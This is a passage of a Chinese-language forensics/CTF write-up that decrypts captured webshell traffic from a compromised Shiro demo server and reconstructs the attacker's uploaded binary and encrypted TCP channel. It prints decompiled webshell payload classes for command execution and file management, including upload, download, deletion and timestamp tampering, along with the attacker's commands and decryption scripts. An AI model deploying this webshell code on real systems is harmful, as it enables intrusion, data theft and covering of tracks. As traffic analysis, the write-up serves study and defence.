zPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="}

再分别Base64解密，可得到LinuxInfo为Linux6.8.0-88-genericamd64，DriveList为/;，LocalIP为172.18.0.2，等等。证明上述确实是读取系统信息。接着继续解密并逆向，发现执行了一些系统命令：

...
/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(4).ico.class */
public class Zsiywhq {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;
	...
    public Zsiywhq() {
        cmd = "";
        cmd += "cd / ;whoami";
        path = "";
        path += "/";
    }
	...
    private String RunCMD(String cmd2) throws Exception {
        Process p;
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd2 != null && cmd2.length() > 0) {
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2});
            } else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2});
            }
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
            String line = br.readLine();
            while (true) {
                String disr = line;
                if (disr == null) {
                    break;
                }
                result = result + disr + "\n";
                line = br.readLine();
            }
            BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
            String line2 = br2.readLine();
            while (true) {
                String disr2 = line2;
                if (disr2 == null) {
                    break;
                }
                result = result + disr2 + "\n";
                line2 = br2.readLine();
            }
        }
        return result;
    }
	...
}

找下来发现总共执行了这些：

cd / ;whoami
root

cd / ;w
 05:58:16 up 9 days,  2:05,  0 users,  load average: 0.35, 0.63, 0.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

cd / ;ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  1 03:43 ?        00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar
root          95       1  0 05:58 ?        00:00:00 /bin/sh -c cd / ;ps -ef
root          96      95  0 05:58 ?        00:00:00 ps -ef

没什么用。接着发现接下来内容有了新的模式：

代码部分 - 点击展开

内容很长，不想看可以折叠

package sun.suh.tgvtrk;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.security.MessageDigest;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(10).ico.class */
public class Mcuygmskgn {
    public static String mode;
    public static String path;
    public static String newPath;
    public static String content;
    public static String charset;
    public static String hash;
    public static String blockIndex;
    public static String blockSize;
    public static String createTimeStamp;
    public static String modifyTimeStamp;
    public static String accessTimeStamp;
    private Object Request;
    private Object Response;
    private Object Session;
    private Charset osCharset;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class<?> cls = Class.forName("java.util.Base64");
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
        }
        return bArrDoFinal;
    }

    public Mcuygmskgn() {
        mode = "";
        mode += "list";
        path = "";
        path += "/";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map<String, String> result = new HashMap();
        try {
            try {
                fillContext(obj);
                if (mode.equalsIgnoreCase("list")) {
                    result.put("msg", list());
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("show")) {
                    result.put("msg", show());
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("checkExist")) {
                    result.put("msg", checkExist(path));
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("delete")) {
                    result = delete();
                } else if (mode.equalsIgnoreCase("create")) {
                    result.put("msg", create());
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("append")) {
                    result.put("msg", append());
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("update")) {
                    updateFile();
                    result.put("msg", "ok");
                    result.put("status", "success");
                } else if (mode.equalsIgnoreCase("downloadPart")) {
                    result.put("msg", downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize)));
                    result.put("status", "success");
                } else {
                    if (mode.equalsIgnoreCase("download")) {
                        download();
                        try {
                            Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                            Method write = so.getClass().getMethod("write", byte[].class);
                            write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                            so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                            so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                        return true;
                    }
                    if (mode.equalsIgnoreCase("rename")) {
                        result = renameFile();
                    } else if (mode.equalsIgnoreCase("createFile")) {
                        result.put("msg", createFile());
                        result.put("status", "success");
                    } else if (mode.equalsIgnoreCase("compress")) {
                        zipFile(path, true);
                        result.put("msg", "ok");
                        result.put("status", "success");
                    } else if (mode.equalsIgnoreCase("createDirectory")) {
                        result.put("msg", createDirectory());
                        result.put("status", "success");
                    } else if (mode.equalsIgnoreCase("getTimeStamp")) {
                        result.put("msg", getTimeStamp());
                        result.put("status", "success");
                    } else if (mode.equalsIgnoreCase("updateTimeStamp")) {
                        result.put("msg", updateTimeStamp());
                        result.put("status", "success");
                    } else if (mode.equalsIgnoreCase("check")) {
                        result.put("msg", checkFileHash(path));
                        result.put("status", "success");
                    }
                }
                try {
                    Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod("write", byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e2) {
                    e2.printStackTrace();
                    return true;
                }
            } catch (Throwable e3) {
                e3.printStackTrace();
                result.put("msg", e3.getMessage());
                result.put("status", "fail");
                try {
                    Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write3 = so3.getClass().getMethod("write", byte[].class);
                    write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                    so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
                    return true;
                } catch (Exception e4) {
                    e4.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so4 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write4 = so4.getClass().getMethod("write", byte[].class);
                write4.invoke(so4, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so4.getClass().getMethod("flush", new Class[0]).invoke(so4, new Object[0]);
                so4.getClass().getMethod("close", new Class[0]).invoke(so4, new Object[0]);
            } catch (Exception e5) {
                e5.printStackTrace();
            }
            throw th;
        }
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null && ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance("MD5");
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format("%02x", Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }

    private void updateFile() throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path);
        if (ch == null) {
            FileOutputStream fos = new FileOutputStream(path);
            ch = fos.getChannel();
            sessionSetAttribute(this.Session, "fos", fos);
            sessionSetAttribute(this.Session, path, ch);
        }
        synchronized (ch) {
            ch.position(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize));
            ch.write(ByteBuffer.wrap(base64decode(content)));
        }
    }

    private Map<String, String> warpFileObj(File file) {
        Map<String, String> obj = new HashMap<>();
        obj.put("type", file.isDirectory() ? "directory" : "file");
        obj.put("name", file.getName());
        obj.put("size", file.length() + "");
        obj.put("perm", getFilePerm(file));
        obj.put("lastModified", new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(file.lastModified())));
        return obj;
    }

    private boolean isOldJava() {
        String version = System.getProperty("java.version");
        if (version.compareTo("1.7") >= 0) {
            return false;
        }
        return true;
    }

    private String checkExist(String path2) throws Exception {
        File file = new File(path2);
        if (file.exists()) {
            return file.length() + "";
        }
        throw new Exception("");
    }

    private String getFilePerm(File file) throws IllegalAccessException, ClassNotFoundException, IllegalArgumentException, InvocationTargetException {
        String permStr = "";
        if (isWindows()) {
            try {
                permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
            } catch (Error e) {
                permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-";
            }
        } else {
            String version = System.getProperty("java.version");
            if (version.compareTo("1.7") >= 0) {
                try {
                    getClass();
                    Class FilesCls = Class.forName("java.nio.file.Files");
                    getClass();
                    Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes");
                    getClass();
                    Class PathsCls = Class.forName("java.nio.file.Paths");
                    getClass();
                    Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions");
                    Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]);
                    Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]);
                    Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions", new Class[0]).invoke(attrs, new Object[0]));
                    permStr = result.toString();
                } catch (Exception e2) {
                }
            } else {
                permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
            }
        }
        return permStr;
    }

    private String list() throws Exception {
        File f = new File(path);
        List<Map<String, String>> objArr = new ArrayList<>();
        objArr.add(warpFileObj(new File(".")));
        objArr.add(warpFileObj(new File("..")));
        if (f.isDirectory() && f.listFiles() != null) {
            for (File temp : f.listFiles()) {
                objArr.add(warpFileObj(temp));
            }
        }
        String result = buildJsonArray(objArr, true);
        return result;
    }

    private String show() throws Exception {
        byte[] fileContent = getFileData(path);
        return base64encode(fileContent);
    }

    private byte[] getFileData(String path2) throws IOException {
        ByteArrayOutputStream output = new ByteArrayOutputStream();
        FileInputStream fis = new FileInputStream(new File(path2));
        while (true) {
            int data = fis.read();
            if (data != -1) {
                output.write(data);
            } else {
                fis.close();
                return output.toByteArray();
            }
        }
    }

    private String create() throws Exception {
        FileOutputStream fso = new FileOutputStream(path);
        fso.write(base64decode(content));
        fso.flush();
        fso.close();
        String result = path + "上传完成，远程文件大小:" + new File(path).length();
        return result;
    }

    private Map<String, String> renameFile() throws Exception {
        Map<String, String> result = new HashMap<>();
        File oldFile = new File(path);
        File newFile = new File(newPath);
        if (oldFile.exists() && (oldFile.isFile() & oldFile.renameTo(newFile))) {
            result.put("status", "success");
            result.put("msg", "重命名完成:" + newPath);
        } else {
            result.put("status", "fail");
            result.put("msg", "重命名失败:" + newPath);
        }
        return result;
    }

    private String createFile() throws Exception {
        FileOutputStream fso = new FileOutputStream(path);
        fso.close();
        String result = path + "创建完成";
        return result;
    }

    private String createDirectory() throws Exception {
        File dir = new File(path);
        dir.mkdirs();
        String result = path + "创建完成";
        return result;
    }

    private void download() throws Exception {
        FileInputStream fis = new FileInputStream(path);
        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write", byte[].class);
        while (true) {
            int data = fis.read();
            if (data != -1) {
                write.invoke(so, Integer.valueOf(data));
            } else {
                so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                fis.close();
                return;
            }
        }
    }

    private String append() throws Exception {
        FileOutputStream fso = new FileOutputStream(path, true);
        fso.write(base64decode(content));
        fso.flush();
        fso.close();
        String result = path + "追加完成，远程文件大小:" + new File(path).length();
        return result;
    }

    private Map<String, String> delete() throws Exception {
        Map<String, String> result = new HashMap<>();
        File f = new File(path);
        if (f.exists()) {
            if (f.delete()) {
                result.put("status", "success");
                result.put("msg", path + " 删除成功.");
            } else {
                result.put("status", "fail");
                result.put("msg", "文件" + path + "存在，但是删除失败.");
            }
        } else {
            result.put("status", "fail");
            result.put("msg", "文件不存在.");
        }
        return result;
    }

    private String getTimeStamp() throws Exception {
        DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
        File f = new File(path);
        Map<String, String> timeStampObj = new HashMap<>();
        if (f.exists()) {
            getClass();
            Class FilesCls = Class.forName("java.nio.file.Files");
            getClass();
            Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes");
            getClass();
            Class PathsCls = Class.forName("java.nio.file.Paths");
            Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]);
            Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]);
            Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
            Object createTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("creationTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            Object lastAccessTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastAccessTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            Object lastModifiedTime = FileTimeCls.getMethod("toMillis", new Class[0]).invoke(BasicFileAttributesCls.getMethod("lastModifiedTime", new Class[0]).invoke(attrs, new Object[0]), new Object[0]);
            String createTimeStamp2 = df.format(new Date(((Long) createTime).longValue()));
            String lastAccessTimeStamp = df.format(new Date(((Long) lastAccessTime).longValue()));
            String lastModifiedTimeStamp = df.format(new Date(((Long) lastModifiedTime).longValue()));
            timeStampObj.put("createTime", createTimeStamp2);
            timeStampObj.put("lastAccessTime", lastAccessTimeStamp);
            timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp);
            String result = buildJson(timeStampObj, true);
            return result;
        }
        throw new Exception("文件不存在");
    }

    private boolean isWindows() {
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
            return true;
        }
        return false;
    }

    private String updateTimeStamp() throws Exception {
        DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
        File f = new File(path);
        if (f.exists()) {
            f.setLastModified(df.parse(modifyTimeStamp).getTime());
            if (!isOldJava()) {
                Class PathsCls = Class.forName("java.nio.file.Paths");
                Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
                Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
                Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class);
                Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]);
                Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(createTimeStamp).getTime()));
                Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(accessTimeStamp).getTime()));
                Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, Long.valueOf(df.parse(modifyTimeStamp).getTime()));
                BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime);
            }
            return "时间戳修改成功。";
        }
        throw new Exception("文件不存在");
    }

    private String downloadPart(String path2, long blockIndex2, long blockSize2) throws Exception {
        int size;
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch == null) {
            FileInputStream fis = new FileInputStream(path2);
            ch = fis.getChannel();
            sessionSetAttribute(this.Session, "fis", fis);
            sessionSetAttribute(this.Session, path2, ch);
        }
        ByteBuffer buffer = ByteBuffer.allocate((int) blockSize2);
        synchronized (ch) {
            ch.position(blockIndex2 * blockSize2);
            size = ch.read(buffer);
        }
        byte[] content2 = new byte[size];
        System.arraycopy(buffer.array(), 0, content2, 0, size);
        return base64encode(content2);
    }

    private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception {
        File file = new File(srcDir);
        String fileName = file.getName();
        FileOutputStream out = new FileOutputStream(new File(srcDir).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip");
        System.currentTimeMillis();
        ZipOutputStream zos = null;
        try {
            try {
                zos = new ZipOutputStream(out);
                File sourceFile = new File(srcDir);
                compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure);
                System.currentTimeMillis();
                if (zos != null) {
                    try {
                        zos.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            } catch (Exception e2) {
                throw new RuntimeException("zip error from ZipUtils", e2);
            }
        } catch (Throwable th) {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e3) {
                    e3.printStackTrace();
                }
            }
            throw th;
        }
    }

    private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception {
        byte[] buf = new byte[102400];
        if (sourceFile.isFile()) {
            zos.putNextEntry(new ZipEntry(name));
            FileInputStream in = new FileInputStream(sourceFile);
            while (true) {
                int len = in.read(buf);
                if (len != -1) {
                    zos.write(buf, 0, len);
                } else {
                    zos.closeEntry();
                    in.close();
                    return;
                }
            }
        } else {
            File[] listFiles = sourceFile.listFiles();
            if (listFiles == null || listFiles.length == 0) {
                if (KeepDirStructure) {
                    zos.putNextEntry(new ZipEntry(name + "/"));
                    zos.closeEntry();
                    return;
                }
                return;
            }
            for (File file : listFiles) {
                if (KeepDirStructure) {
                    compress(file, zos, name + "/" + file.getName(), KeepDirStructure);
                } else {
                    compress(file, zos, file.getName(), KeepDirStructure);
                }
            }
        }
    }
	...
}

发现是获取了/的文件列表，返回值也印证了这一点。后续的几个包分别获取了：

/tmp/
/var/
/var/tmp/

的列表。再之后发现：

package sun.yxiw;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(18).ico.class */
public class Auydc {
	...
    public Auydc() {
        mode = "";
        mode += "update";
        path = "";
        path += "/var/tmp/out";
        blockIndex = "";
        blockIndex += "2";
        blockSize = "";
        blockSize += "30720";
        content = "";
        content += "h61Bx+...X2zlQkI5M";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }
	...
}

调用了写入文件的功能，往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico，发现有737个文件，编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息：

import os
import re
import base64
from Crypto.Cipher import AES

KEY = b"1f2c8075acd3d118"
DIR = "export"

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b""

chunks = []

def get_sort_key(fname):
    match = re.search(r'\((\d+)\)', fname)
    return int(match.group(1)) if match else 0

files = sorted(os.listdir(DIR), key=get_sort_key)

for fname in files:
    path = os.path.join(DIR, fname)
    with open(path, "rb") as f:
        body = f.read().strip()
    
    data = decrypt_to_class(body)
    
    if data.startswith(b"\xca\xfe\xba\xbe"):
        with open(f"payload-{fname}.class", "wb") as file:
            file.write(data)
            print(f"Dump {fname} as java class file")
    else:
        with open(f"payload-{fname}.txt", "wb") as file:
            file.write(data)
            print(f"Dump {fname} as txt file")

一路看过去，发现中间都是在上传，最后检查了一遍Hash：

package sun.pquyv;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(722).ico.class */
public class Yfnc {
	...
    public Yfnc() {
        mode = "";
        mode += "check";
        path = "";
        path += "/var/tmp/out";
        hash = "";
        hash += "a0275c1593af1adb";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null && ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance("MD5");
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format("%02x", Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }
	...
}

并且给予执行权限：

package net.zlzbr.fsio.vbycsd;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(734).ico.class */
public class Xxzrrw {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;
    ...
    public Xxzrrw() {
        cmd = "";
        cmd += "cd /var/tmp/ ;chmod +x out";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

然后执行：

package org.zhnnj;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(736).ico.class */
public class Imrdoaaxs {
	...
    public Imrdoaaxs() {
        cmd = "";
        cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

得到了一个aes-key：IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=，之后就没有任何HTTP通信了。

第三层: 手写Shell

上面的HTTP流之后有一个TCP流通信，Dump出来发现：

1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4

因为其长度不固定，推测不是ECB和CBC，尝试使用常见的CTR和CFB：

import base64
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")

hex_str = """
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
""".replace('\n', '').replace(' ', '')

data = binascii.unhexlify(hex_str)

chunks = []
i = 0
while i < len(data):
    length = int.from_bytes(data[i:i+4], 'little')
    i += 4
    chunk = data[i:i+length]
    chunks.append(chunk)
    i += length


iv=b'\x00' * 16
print(f"iv:0*16")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

iv=b'\xff' * 16
print(f"iv:ff*16")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

iv=key[:16]
print(f"iv:key[:16]s")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

发现没有可读数据：

代码部分 - 点击展开

iv:0*16
ctr:
0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_F\xa9wHg\xd4"w9[j\xb8}\xe0\xf9'
1: len36: b'K%\xd7+\xc2K\\A\xf3\x9b\xff&\xe0G\xe02\xbeLh\xe3\x90\xcf\xd1\xd3;\xd5\x0e \xcd\xda\xd9\xcb\xcc\x0b\xd2{'
2: len30: b'\x04\x8a\xbc\x83<\xdbA8\xf7zdk\xd7\xb7I\xf2~\x91\\],\xc1\x83\xaa\xc0\xc5-N\xfd\xa4'
3: len31: b'\xf8\x19\xc5\x83\xf7-\r*\xd4g\xd6QzX\xa1\x18\x14\xf6,\x1e\xb3f\x85"\xbb\x84H\x0cHz\xd2'
